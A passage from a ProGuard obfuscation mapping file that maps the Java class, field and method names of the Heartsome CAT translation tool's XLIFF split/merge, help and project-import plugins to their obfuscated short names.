net.heartsome.cat.ts.handlexlf.dialog.c: + net.heartsome.cat.ts.handlexlf.dialog.SetSplitPointByWordNumDialog this$0 -> amJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.handlexlf.dialog.SetSplitPointByWordNumDialog$3 -> net.heartsome.cat.ts.handlexlf.dialog.d: + net.heartsome.cat.ts.handlexlf.dialog.SetSplitPointByWordNumDialog this$0 -> amJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.handlexlf.dialog.SetSplitPointByWordNumDialog$4 -> net.heartsome.cat.ts.handlexlf.dialog.e: + net.heartsome.cat.ts.handlexlf.dialog.SetSplitPointByWordNumDialog this$0 -> amJ + void verifyText(org.eclipse.swt.events.VerifyEvent) -> verifyText +net.heartsome.cat.ts.handlexlf.dialog.SetSplitPointByWordNumDialog$5 -> net.heartsome.cat.ts.handlexlf.dialog.f: + net.heartsome.cat.ts.handlexlf.dialog.SetSplitPointByWordNumDialog this$0 -> amJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.handlexlf.dialog.SetSplitPointByWordNumDialog$6 -> net.heartsome.cat.ts.handlexlf.dialog.g: + net.heartsome.cat.ts.handlexlf.dialog.SetSplitPointByWordNumDialog this$0 -> amJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.handlexlf.handler.MergeXliffHandler -> net.heartsome.cat.ts.handlexlf.handler.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.handlexlf.handler.NextSplitPointHandler -> net.heartsome.cat.ts.handlexlf.handler.c: + java.lang.String curSelectionRowId -> amK + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.handlexlf.handler.NextSplitPointHandler$1 -> net.heartsome.cat.ts.handlexlf.handler.d: + net.heartsome.cat.ts.handlexlf.handler.NextSplitPointHandler this$0 -> amL + net.heartsome.cat.ts.core.file.XLFHandler val$xlfHander -> amM + int compare(java.lang.String,java.lang.String) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.handlexlf.handler.SetSplitPointByWordNumHandler -> net.heartsome.cat.ts.handlexlf.handler.e: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.handlexlf.handler.SetSplitPointByWordNumHandler$1 -> net.heartsome.cat.ts.handlexlf.handler.f: + net.heartsome.cat.ts.handlexlf.handler.SetSplitPointByWordNumHandler this$0 -> amN + net.heartsome.cat.ts.core.file.XLFHandler val$xlfHander -> amM + int compare(java.lang.String,java.lang.String) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.handlexlf.handler.SplitXliffHandler -> net.heartsome.cat.ts.handlexlf.handler.b: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.handlexlf.resource.Messages -> net.heartsome.cat.ts.handlexlf.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.ts.handlexlf.split.MergeXliff -> net.heartsome.cat.ts.handlexlf.split.a: + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.swt.widgets.Shell shell -> shell + net.heartsome.cat.ts.core.file.XLFHandler xlfhandler -> xK + net.heartsome.cat.ts.handlexlf.split.SplitOrMergeXlfModel model -> xL + int runIndex -> xM + java.lang.String targetFilePath -> xN + boolean merge(java.util.Vector,org.eclipse.core.runtime.IProgressMonitor) -> a + boolean mergeXLF(java.lang.String,java.util.Vector,org.eclipse.core.runtime.IProgressMonitor) -> a + boolean checkCanMerge(java.util.Vector) -> c + void getTargetFilePath(java.util.Vector) -> e + void createTargetXliff(java.lang.String,java.lang.String) -> B + boolean compareValue(java.util.Hashtable,java.util.Hashtable) -> a + java.lang.String getFullPath(java.lang.String) -> getFullPath + java.lang.String getTargetFilePath() -> fm + void main(java.lang.String[]) -> main + org.eclipse.swt.widgets.Shell access$0(net.heartsome.cat.ts.handlexlf.split.MergeXliff) -> a + void access$1(net.heartsome.cat.ts.handlexlf.split.MergeXliff,java.lang.String) -> a +net.heartsome.cat.ts.handlexlf.split.MergeXliff$1 -> net.heartsome.cat.ts.handlexlf.split.b: + net.heartsome.cat.ts.handlexlf.split.MergeXliff this$0 -> xO + void run() -> run +net.heartsome.cat.ts.handlexlf.split.MergeXliff$10 -> net.heartsome.cat.ts.handlexlf.split.c: + net.heartsome.cat.ts.handlexlf.split.MergeXliff this$0 -> xO + void run() -> run +net.heartsome.cat.ts.handlexlf.split.MergeXliff$11 -> net.heartsome.cat.ts.handlexlf.split.d: + net.heartsome.cat.ts.handlexlf.split.MergeXliff this$0 -> xO + java.lang.String val$srcXlfPath -> xP + void run() -> run +net.heartsome.cat.ts.handlexlf.split.MergeXliff$12 -> net.heartsome.cat.ts.handlexlf.split.e: + net.heartsome.cat.ts.handlexlf.split.MergeXliff this$0 -> xO + java.lang.String val$parentPath -> agV + java.lang.String val$childPath -> agW + void run() -> run +net.heartsome.cat.ts.handlexlf.split.MergeXliff$13 -> net.heartsome.cat.ts.handlexlf.split.f: + net.heartsome.cat.ts.handlexlf.split.MergeXliff this$0 -> xO + void run() -> run +net.heartsome.cat.ts.handlexlf.split.MergeXliff$14 -> net.heartsome.cat.ts.handlexlf.split.u: + net.heartsome.cat.ts.handlexlf.split.MergeXliff this$0 -> xO + java.lang.String val$message -> cv + java.lang.String val$initValue -> agX + java.lang.String val$fileExtension -> agY + org.eclipse.core.runtime.IPath val$curPath -> agZ + void run() -> run +net.heartsome.cat.ts.handlexlf.split.MergeXliff$2 -> net.heartsome.cat.ts.handlexlf.split.g: + net.heartsome.cat.ts.handlexlf.split.MergeXliff this$0 -> xO + void run() -> run +net.heartsome.cat.ts.handlexlf.split.MergeXliff$3 -> net.heartsome.cat.ts.handlexlf.split.h: + net.heartsome.cat.ts.handlexlf.split.MergeXliff this$0 -> xO + java.lang.String val$srcXlfPath -> xP + void run() -> run +net.heartsome.cat.ts.handlexlf.split.MergeXliff$4 -> net.heartsome.cat.ts.handlexlf.split.i: + net.heartsome.cat.ts.handlexlf.split.MergeXliff this$0 -> xO + void run() -> run +net.heartsome.cat.ts.handlexlf.split.MergeXliff$5 -> net.heartsome.cat.ts.handlexlf.split.j: + net.heartsome.cat.ts.handlexlf.split.MergeXliff this$0 -> xO + void run() -> run +net.heartsome.cat.ts.handlexlf.split.MergeXliff$6 -> net.heartsome.cat.ts.handlexlf.split.k: + net.heartsome.cat.ts.handlexlf.split.MergeXliff this$0 -> xO + void run() -> run +net.heartsome.cat.ts.handlexlf.split.MergeXliff$7 -> net.heartsome.cat.ts.handlexlf.split.l: + net.heartsome.cat.ts.handlexlf.split.MergeXliff this$0 -> xO + void run() -> run +net.heartsome.cat.ts.handlexlf.split.MergeXliff$8 -> net.heartsome.cat.ts.handlexlf.split.m: + net.heartsome.cat.ts.handlexlf.split.MergeXliff this$0 -> xO + void run() -> run +net.heartsome.cat.ts.handlexlf.split.MergeXliff$9 -> net.heartsome.cat.ts.handlexlf.split.n: + net.heartsome.cat.ts.handlexlf.split.MergeXliff this$0 -> xO + void run() -> run +net.heartsome.cat.ts.handlexlf.split.SplitOrMergeXlfModel -> net.heartsome.cat.ts.handlexlf.split.o: + org.eclipse.core.resources.IFile splitFile -> xU + java.util.List splitXlfPointsIndex -> xV + java.util.List splitXlfPointsRowId -> xW + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable xliffEditor -> xX + org.eclipse.swt.widgets.Shell shell -> shell + org.eclipse.core.resources.IContainer splitXlfsContainer -> xY + java.util.Vector mergeXliffFile -> xZ + java.util.LinkedList newSplitedFilesName -> ya + org.eclipse.core.resources.IFile getSplitFile() -> fn + void setSplitFile(org.eclipse.core.resources.IFile) -> c + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable getXliffEditor() -> fo + void setXliffEditor(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable) -> a + org.eclipse.swt.widgets.Shell getShell() -> getShell + void setShell(org.eclipse.swt.widgets.Shell) -> setShell + org.eclipse.core.resources.IContainer getSplitXlfsContainer() -> fp + void setSplitXlfsContainer(org.eclipse.core.resources.IContainer) -> a + java.util.Vector getMergeXliffFile() -> fq + void setMergeXliffFile(java.util.Vector) -> d + java.util.LinkedList getNewSplitedFilesName() -> fr + void setNewSplitedFilesName(java.util.LinkedList) -> a + java.util.List getSplitXlfPointsIndex() -> fs + void setSplitXlfPointsIndex(java.util.List) -> t + java.util.List getSplitXlfPointsRowId() -> ft + void setSplitXlfPointsRowId(java.util.List) -> u +net.heartsome.cat.ts.handlexlf.split.SplitXliff -> net.heartsome.cat.ts.handlexlf.split.p: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String NATABLE_ID -> aha + org.eclipse.core.resources.IFile splitFile -> xU + java.util.List splitPointsIndex -> yb + java.util.List splitPointsRowId -> yc + org.eclipse.swt.widgets.Shell shell -> shell + net.heartsome.cat.ts.core.file.XLFHandler xlfhandler -> xK + net.heartsome.cat.ts.core.file.XLFHandler splitHandler -> yd + net.heartsome.cat.ts.handlexlf.split.SplitOrMergeXlfModel model -> xL + int CONSTANT_ONE -> ye + java.util.Map oldInfo -> yf + int transUnitNum -> yg + boolean needCover -> yh + java.util.Map fileInfo -> yi + java.lang.String separator -> separator + int sumTotal -> yj + int sumEquivalent -> yk + java.util.List repeateFileList -> ahb + boolean splitTheXliff(org.eclipse.core.runtime.IProgressMonitor) -> r + boolean validXLiff() -> fu + java.lang.String getSplitFileName(java.lang.String,java.util.Map,int) -> a + java.util.Map getNewSplitInfo(java.lang.String,java.util.Map,int,int,long) -> a + void createNewSplitXliff(java.lang.String,java.lang.String) -> C + int[] getFileSpliteIndex(int,int,java.util.Map) -> a + int getPurFileTUCount(int,java.util.Map) -> a + java.lang.String getFullPath(java.lang.String) -> getFullPath + java.lang.String getNewSplitName(java.lang.String,java.util.Map,int) -> b + int getStartIndex(int) -> q + int getEndIndex(int) -> r + java.lang.String[][] getSplitTableInfos() -> fv + int getSumTotal() -> fw + int getSumEquivalent() -> fx + org.eclipse.swt.widgets.Shell access$0(net.heartsome.cat.ts.handlexlf.split.SplitXliff) -> a + org.eclipse.core.resources.IFile access$1(net.heartsome.cat.ts.handlexlf.split.SplitXliff) -> b + void access$2(net.heartsome.cat.ts.handlexlf.split.SplitXliff,boolean) -> a + java.util.List access$3(net.heartsome.cat.ts.handlexlf.split.SplitXliff) -> c + net.heartsome.cat.ts.handlexlf.split.SplitOrMergeXlfModel access$4(net.heartsome.cat.ts.handlexlf.split.SplitXliff) -> d + org.slf4j.Logger access$5() -> lx +net.heartsome.cat.ts.handlexlf.split.SplitXliff$1 -> net.heartsome.cat.ts.handlexlf.split.q: + net.heartsome.cat.ts.handlexlf.split.SplitXliff this$0 -> yl + void run() -> run +net.heartsome.cat.ts.handlexlf.split.SplitXliff$2 -> net.heartsome.cat.ts.handlexlf.split.r: + net.heartsome.cat.ts.handlexlf.split.SplitXliff this$0 -> yl + java.lang.String val$copyFilesTip -> ym + void run() -> run +net.heartsome.cat.ts.handlexlf.split.SplitXliff$3 -> net.heartsome.cat.ts.handlexlf.split.s: + net.heartsome.cat.ts.handlexlf.split.SplitXliff this$0 -> yl + void run() -> run +net.heartsome.cat.ts.handlexlf.split.SplitXliff$4 -> net.heartsome.cat.ts.handlexlf.split.v: + net.heartsome.cat.ts.handlexlf.split.SplitXliff this$0 -> yl + void run() -> run +net.heartsome.cat.ts.handlexlf.split.TableViewerLabelProvider -> net.heartsome.cat.ts.handlexlf.split.t: + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText +net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizard -> net.heartsome.cat.ts.handlexlf.wizard.a: + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.cat.ts.handlexlf.split.SplitOrMergeXlfModel model -> xL + net.heartsome.cat.ts.handlexlf.split.MergeXliff mergeXliff -> yn + net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizardPage mergeXliffWizardPage -> yo + boolean canFinish -> sD + java.lang.String XLIFF_EDITOR_ID -> XLIFF_EDITOR_ID + boolean performFinish() -> performFinish + boolean canFinish() -> canFinish + void addPages() -> addPages + net.heartsome.cat.ts.handlexlf.split.SplitOrMergeXlfModel access$0(net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizard) -> a + void access$1(net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizard,boolean) -> a +net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizard$1 -> net.heartsome.cat.ts.handlexlf.wizard.b: + net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizard this$0 -> yp + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizardPage -> net.heartsome.cat.ts.handlexlf.wizard.c: + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + net.heartsome.cat.ts.handlexlf.split.SplitOrMergeXlfModel model -> xL + org.eclipse.core.resources.IWorkspaceRoot root -> root + java.util.List exsistFileList -> yq + java.lang.String projectPath -> yr + void createControl(org.eclipse.swt.widgets.Composite) -> createControl + void createMergeXlfGroup(org.eclipse.swt.widgets.Composite) -> i + boolean validIsRepeate() -> fy + void validXlf() -> fz + java.lang.String[][] getSplitTableInfos() -> fv + org.eclipse.core.resources.IWorkspaceRoot access$0(net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizardPage) -> a + org.slf4j.Logger access$1() -> bY + java.lang.String access$2(net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizardPage) -> b + net.heartsome.cat.ts.handlexlf.split.SplitOrMergeXlfModel access$3(net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizardPage) -> c + java.util.List access$4(net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizardPage) -> d + org.eclipse.jface.viewers.TableViewer access$5(net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizardPage) -> e + void access$6(net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizardPage) -> f +net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizardPage$1 -> net.heartsome.cat.ts.handlexlf.wizard.d: + net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizardPage this$0 -> ys + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizardPage$1$1 -> net.heartsome.cat.ts.handlexlf.wizard.e: + net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizardPage$1 this$1 -> yt + org.eclipse.swt.widgets.TableColumn[] val$columns -> yu + org.eclipse.swt.widgets.Table val$table -> yv + void run() -> run +net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizardPage$2 -> net.heartsome.cat.ts.handlexlf.wizard.f: + net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizardPage this$0 -> ys + org.eclipse.swt.widgets.Group val$xliffDataGroup -> yw + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizardPage access$0(net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizardPage$2) -> a +net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizardPage$2$1 -> net.heartsome.cat.ts.handlexlf.wizard.g: + net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizardPage$2 this$1 -> yx + boolean select(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> select +net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizardPage$3 -> net.heartsome.cat.ts.handlexlf.wizard.h: + net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizardPage this$0 -> ys + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.handlexlf.wizard.NattableWizardDialog -> net.heartsome.cat.ts.handlexlf.wizard.i: + org.eclipse.jface.dialogs.IDialogSettings getDialogBoundsSettings() -> getDialogBoundsSettings +net.heartsome.cat.ts.handlexlf.wizard.SplitXliffWizard -> net.heartsome.cat.ts.handlexlf.wizard.j: + net.heartsome.cat.ts.handlexlf.split.SplitOrMergeXlfModel model -> xL + net.heartsome.cat.ts.handlexlf.split.SplitXliff splitXliff -> yy + net.heartsome.cat.ts.handlexlf.wizard.SplitXliffWizardPage splitXliffWizardPage -> yz + boolean canFinish -> sD + boolean performFinish() -> performFinish + boolean canFinish() -> canFinish + void addPages() -> addPages + net.heartsome.cat.ts.handlexlf.split.SplitOrMergeXlfModel getSplitOrMergeXlfModel() -> fA + net.heartsome.cat.ts.handlexlf.split.SplitXliff access$0(net.heartsome.cat.ts.handlexlf.wizard.SplitXliffWizard) -> a + void access$1(net.heartsome.cat.ts.handlexlf.wizard.SplitXliffWizard,boolean) -> a +net.heartsome.cat.ts.handlexlf.wizard.SplitXliffWizard$1 -> net.heartsome.cat.ts.handlexlf.wizard.k: + net.heartsome.cat.ts.handlexlf.wizard.SplitXliffWizard this$0 -> yA + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.ts.handlexlf.wizard.SplitXliffWizardPage -> net.heartsome.cat.ts.handlexlf.wizard.l: + org.eclipse.core.resources.IFile splitFile -> xU + net.heartsome.cat.ts.handlexlf.split.SplitOrMergeXlfModel model -> xL + net.heartsome.cat.ts.handlexlf.split.SplitXliff splitXliff -> yy + org.eclipse.core.resources.IWorkspaceRoot root -> root + org.eclipse.swt.widgets.Text xliffNameTxt -> yB + org.eclipse.swt.widgets.Text targetXlfPathTxt -> yC + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + org.eclipse.core.resources.IContainer targetFolder -> yD + java.lang.String separator -> separator + void createControl(org.eclipse.swt.widgets.Composite) -> createControl + void createSplitXlfNameGroup(org.eclipse.swt.widgets.Composite) -> j + void createSplitInfo(org.eclipse.swt.widgets.Composite) -> k + java.lang.String getTargetXlfPathStr() -> fB + void validXliff() -> fC +net.heartsome.cat.ts.handlexlf.wizard.SplitXliffWizardPage$1 -> net.heartsome.cat.ts.handlexlf.wizard.m: + net.heartsome.cat.ts.handlexlf.wizard.SplitXliffWizardPage this$0 -> yE + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.handlexlf.wizard.SplitXliffWizardPage$1$1 -> net.heartsome.cat.ts.handlexlf.wizard.n: + net.heartsome.cat.ts.handlexlf.wizard.SplitXliffWizardPage$1 this$1 -> yF + org.eclipse.swt.widgets.TableColumn[] val$columns -> yu + org.eclipse.swt.widgets.Table val$table -> yv + void run() -> run +net.heartsome.cat.ts.help.Activator -> net.heartsome.cat.ts.help.Activator: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.ts.help.Activator plugin -> Aj + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.ts.help.Activator getDefault() -> getDefault + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor +net.heartsome.cat.ts.help.SystemResourceUtil -> net.heartsome.cat.ts.help.SystemResourceUtil: + java.lang.String dateTemp -> dateTemp + net.heartsome.license.LocalAuthorizationValidator v -> yG + int re -> yH + boolean isExsit -> yI + void beforeload() -> beforeload + void load(boolean) -> load + void load() -> load + java.lang.String[] load(org.eclipse.core.runtime.IProgressMonitor) -> load + void showDialog(java.lang.String[]) -> showDialog + net.heartsome.license.LocalAuthorizationValidator access$0() -> fD + int access$1() -> fE +net.heartsome.cat.ts.help.SystemResourceUtil$1 -> net.heartsome.cat.ts.help.SystemResourceUtil$1: + java.lang.String val$date -> yJ + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$10 -> net.heartsome.cat.ts.help.SystemResourceUtil$10: + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$11 -> net.heartsome.cat.ts.help.SystemResourceUtil$11: + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$12 -> net.heartsome.cat.ts.help.SystemResourceUtil$12: + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$13 -> net.heartsome.cat.ts.help.SystemResourceUtil$13: + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$14 -> net.heartsome.cat.ts.help.SystemResourceUtil$14: + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$14$1 -> net.heartsome.cat.ts.help.SystemResourceUtil$14$1: + net.heartsome.cat.ts.help.SystemResourceUtil$14 this$1 -> yK + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$14$10 -> net.heartsome.cat.ts.help.SystemResourceUtil$14$10: + net.heartsome.cat.ts.help.SystemResourceUtil$14 this$1 -> yK + int val$re -> yL + net.heartsome.license.LocalAuthorizationValidator val$v -> yM + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$14$11 -> net.heartsome.cat.ts.help.SystemResourceUtil$14$11: + net.heartsome.cat.ts.help.SystemResourceUtil$14 this$1 -> yK + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$14$2 -> net.heartsome.cat.ts.help.SystemResourceUtil$14$2: + net.heartsome.cat.ts.help.SystemResourceUtil$14 this$1 -> yK + java.lang.String val$date -> yJ + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$14$3 -> net.heartsome.cat.ts.help.SystemResourceUtil$14$3: + net.heartsome.cat.ts.help.SystemResourceUtil$14 this$1 -> yK + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$14$4 -> net.heartsome.cat.ts.help.SystemResourceUtil$14$4: + net.heartsome.cat.ts.help.SystemResourceUtil$14 this$1 -> yK + int val$ret -> yN + net.heartsome.license.LocalAuthorizationValidator val$v -> yM + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$14$5 -> net.heartsome.cat.ts.help.SystemResourceUtil$14$5: + net.heartsome.cat.ts.help.SystemResourceUtil$14 this$1 -> yK + net.heartsome.license.LocalAuthorizationValidator val$v -> yM + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$14$6 -> net.heartsome.cat.ts.help.SystemResourceUtil$14$6: + net.heartsome.cat.ts.help.SystemResourceUtil$14 this$1 -> yK + net.heartsome.license.LocalAuthorizationValidator val$v -> yM + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$14$7 -> net.heartsome.cat.ts.help.SystemResourceUtil$14$7: + net.heartsome.cat.ts.help.SystemResourceUtil$14 this$1 -> yK + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$14$8 -> net.heartsome.cat.ts.help.SystemResourceUtil$14$8: + net.heartsome.cat.ts.help.SystemResourceUtil$14 this$1 -> yK + int val$re -> yL + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$14$9 -> net.heartsome.cat.ts.help.SystemResourceUtil$14$9: + net.heartsome.cat.ts.help.SystemResourceUtil$14 this$1 -> yK + int val$re -> yL + net.heartsome.license.LocalAuthorizationValidator val$v -> yM + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$2 -> net.heartsome.cat.ts.help.SystemResourceUtil$2: + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$3 -> net.heartsome.cat.ts.help.SystemResourceUtil$3: + java.lang.String val$date -> yJ + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$4 -> net.heartsome.cat.ts.help.SystemResourceUtil$4: + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$5 -> net.heartsome.cat.ts.help.SystemResourceUtil$5: + int val$ret -> yN + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$6 -> net.heartsome.cat.ts.help.SystemResourceUtil$6: + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$7 -> net.heartsome.cat.ts.help.SystemResourceUtil$7: + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$8 -> net.heartsome.cat.ts.help.SystemResourceUtil$8: + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$9 -> net.heartsome.cat.ts.help.SystemResourceUtil$9: + void run() -> run +net.heartsome.cat.ts.importproject.Activator -> net.heartsome.cat.ts.importproject.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.ts.importproject.Activator plugin -> yO + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.ts.importproject.Activator getDefault() -> fF + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor +net.heartsome.cat.ts.importproject.handler.ImportProjectHandler -> net.heartsome.cat.ts.importproject.handler.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.importproject.handler.ImportProjectHandler$1 -> net.heartsome.cat.ts.importproject.handler.b: + net.heartsome.cat.ts.importproject.handler.ImportProjectHandler this$0 -> yP + org.eclipse.swt.widgets.Control createHelpControl(org.eclipse.swt.widgets.Composite) -> createHelpControl +net.heartsome.cat.ts.importproject.handler.ImportProjectHandler$1$1 -> net.heartsome.cat.ts.importproject.handler.c: + net.heartsome.cat.ts.importproject.handler.ImportProjectHandler$1 this$1 -> yQ + org.eclipse.swt.graphics.Cursor val$cursor -> oX + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.ts.importproject.handler.ImportProjectHandler$1$2 -> net.heartsome.cat.ts.importproject.handler.d: + net.heartsome.cat.ts.importproject.handler.ImportProjectHandler$1 this$1 -> yQ + java.lang.String val$helpUrl -> pb + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.importproject.resource.Messages -> net.heartsome.cat.ts.importproject.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.ts.importproject.widgiet.ProjectResource -> net.heartsome.cat.ts.importproject.widgiet.a: + java.lang.Object element -> element + net.heartsome.cat.ts.importproject.widgiet.ProjectResource parent -> Ga + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$ProjectRecord proRecord -> Gb + boolean isFolder -> Ku + boolean isProject -> Kv + java.util.List childrenList -> Kw + java.lang.String projectName -> projectName + boolean isProjectRepeat -> Kx + boolean isElementRepeat -> KN + org.eclipse.core.resources.IWorkspaceRoot root -> root + org.eclipse.ui.internal.wizards.datatransfer.ILeveledImportStructureProvider structureProvider -> yV + boolean needCover -> yh + java.util.Set FILE_FILTER -> MA + void initData() -> z + void initChildren() -> lk + void initIsProjectRepeat() -> ne + void initIsElementRepeat() -> nf + java.lang.String getLabel() -> getLabel + void restoreNeedCoverDefault() -> ng + java.io.InputStream getConfigFileContent() -> nh + boolean hasChildren() -> hasChildren + boolean isProjectRepeat() -> ni + boolean isElementRepeat() -> nj + boolean isFolder() -> isFolder + java.util.List getChildren() -> getChildren + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$ProjectRecord getProRecord() -> nk + net.heartsome.cat.ts.importproject.widgiet.ProjectResource getParent() -> nl + java.lang.String getProjectName() -> getProjectName + boolean isNeedCover() -> nm + void setNeedCover(boolean) -> K + java.io.InputStream getInputStream() -> getInputStream + boolean isProject() -> nn +net.heartsome.cat.ts.importproject.widgiet.ResourceTree -> net.heartsome.cat.ts.importproject.widgiet.b: + org.eclipse.swt.widgets.Tree tree -> Ip + org.eclipse.jface.viewers.ITreeContentProvider contentProvider -> MB + org.eclipse.jface.viewers.ILabelProvider labelProvider -> labelProvider + java.util.Set grayStoreSet -> NN + net.heartsome.cat.ts.importproject.widgiet.ProjectResource[] root -> NO + void setRoot(net.heartsome.cat.ts.importproject.widgiet.ProjectResource[]) -> a + void setCheckedAll(boolean) -> L + java.util.List getAllElement() -> no + void getAllElementImpl(net.heartsome.cat.ts.importproject.widgiet.ProjectResource,java.util.List) -> a + void setAllChildCheck(java.lang.Object,boolean) -> c + void setAllChildCheckImp(java.lang.Object,boolean) -> d + void doubleClick(org.eclipse.jface.viewers.DoubleClickEvent) -> doubleClick + void checkStateChanged(org.eclipse.jface.viewers.CheckStateChangedEvent) -> checkStateChanged + boolean hasCheckedChildren(java.lang.Object) -> i + void access$0(net.heartsome.cat.ts.importproject.widgiet.ResourceTree,java.lang.Object,boolean) -> a + org.eclipse.jface.viewers.ITreeContentProvider access$1(net.heartsome.cat.ts.importproject.widgiet.ResourceTree) -> a + java.util.Set access$2(net.heartsome.cat.ts.importproject.widgiet.ResourceTree) -> b + boolean access$3(net.heartsome.cat.ts.importproject.widgiet.ResourceTree,java.lang.Object) -> a +net.heartsome.cat.ts.importproject.widgiet.ResourceTree$1 -> net.heartsome.cat.ts.importproject.widgiet.c: + net.heartsome.cat.ts.importproject.widgiet.ResourceTree this$0 -> NT + org.eclipse.jface.viewers.DoubleClickEvent val$event -> NU + void run() -> run +net.heartsome.cat.ts.importproject.widgiet.ResourceTree$2 -> net.heartsome.cat.ts.importproject.widgiet.d: + 